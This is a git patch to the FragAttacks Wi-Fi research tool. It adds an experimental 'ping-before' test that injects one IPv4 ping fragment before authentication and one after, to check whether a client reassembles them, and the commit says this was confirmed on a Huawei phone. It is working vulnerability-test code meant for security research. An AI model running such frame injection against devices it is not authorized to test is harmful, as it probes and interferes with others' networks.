From 2ccd42033a8f1e7981c821bba07291b46c180dc0 Mon Sep 17 00:00:00 2001 From: Mathy Vanhoef Date: Mon, 7 Nov 2022 10:42:04 +0100 Subject: [PATCH] fragattacks: add experimental ping-before test This uses fragmented IPv4 packets to perfrom (variants of) the test "ping BP" without needing to run a packet capture on the victim device. This is accomplished by sending the first IPv4 fragment of a ping request before authenticating, and the second IPv4 fragment after authenticating. If the device is vulnerable, it should replay with a ping response. Note that both ping IPv4 fragments are sent in a normal non-fragmented Wi-Fi frame. The test was confirmed to work against a Huawei MRD-LZ1F (Huawei Y6 2019). --- research/fragattack.py | 3 ++ research/tests_experimental.py | 55 ++++++++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+) create mode 100644 research/tests_experimental.py diff --git a/research/fragattack.py b/research/fragattack.py index fd7a4decf..6091f4e64 100755 --- a/research/fragattack.py +++ b/research/fragattack.py @@ -63,6 +63,9 @@ def prepare_tests(opt): Action(Action.Connected, enc=True)]) test = PingTest(REQ_ICMP, actions, opt=opt) + elif opt.testname == "ping-before": + test = PingBefore(REQ_ICMP, opt) + elif opt.testname == "ping-frag-sep": # Check if we can send frames in between fragments. The seperator by default uses a different # QoS TID. The second fragment of the ping request will NOT have an incremental PN compared diff --git a/research/tests_experimental.py b/research/tests_experimental.py new file mode 100644 index 000000000..403bc819b --- /dev/null +++ b/research/tests_experimental.py @@ -0,0 +1,55 @@ +# Copyright (c) 2022, Mathy Vanhoef +# +# This code may be distributed under the terms of the BSD license. +# See README for more details. + +from fraginternals import * + +class PingBefore(Test): + def __init__(self, ptype, opt=None): + super().__init__([ + Action(Action.BeforeAuth, action=Action.Inject, enc=False), + Action(Action.Connected, action=Action.GetIp), + Action(Action.Connected, action=Action.Inject, enc=True) + ]) + self.ptype = ptype + + self.bcast_ra = False if opt == None else opt.bcast_ra + self.bcast_dst = False if opt == None else opt.bcast_dst + self.icmp_size = 0 if (opt == None or opt.icmp_size is None) else opt.icmp_size + + # This test currently only works against clients + assert opt.ap, "This test currently only supports testing clients" + + def prepare(self, station): + log(STATUS, "Generating ping-before test", color="green") + + # FIXME: This only works when acting as AP. And assumes no other client + # will request an IP before this station does. + # The built-in DHCP server will pop() an IP address from the end of the list. + peerip = station.daemon.dhcp.pool[-1] # station.peerip + myip = station.daemon.arp_sender_ip + log(WARNING, "My IP is {} and client IP will be {}".format(myip, peerip)) + + header = station.get_header() + + label = b"test_ping_icmp_" + payload = label + b"A" * min(10, max(0, self.icmp_size - len(label))) + ping = ICMP()/Raw(payload) + ip1, ip2 = fragment(IP(src=myip, dst=peerip)/ping, len(ping) // 2) + self.check_fn = lambda p: ICMP in p and label in raw(p) and p[ICMP].type == 0 + + frame1 = header/LLC()/SNAP()/ip1 + frame2 = header.copy()/LLC()/SNAP()/ip2 + + if self.bcast_ra: + frame1.addr1 = "ff:ff:ff:ff:ff:ff" + if self.bcast_dst: + if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0: + frame1.addr3 = "ff:ff:ff:ff:ff:ff" + else: + frame1.addr1 = "ff:ff:ff:ff:ff:ff" + + self.actions[0].frame = frame1 + self.actions[2].frame = frame2 +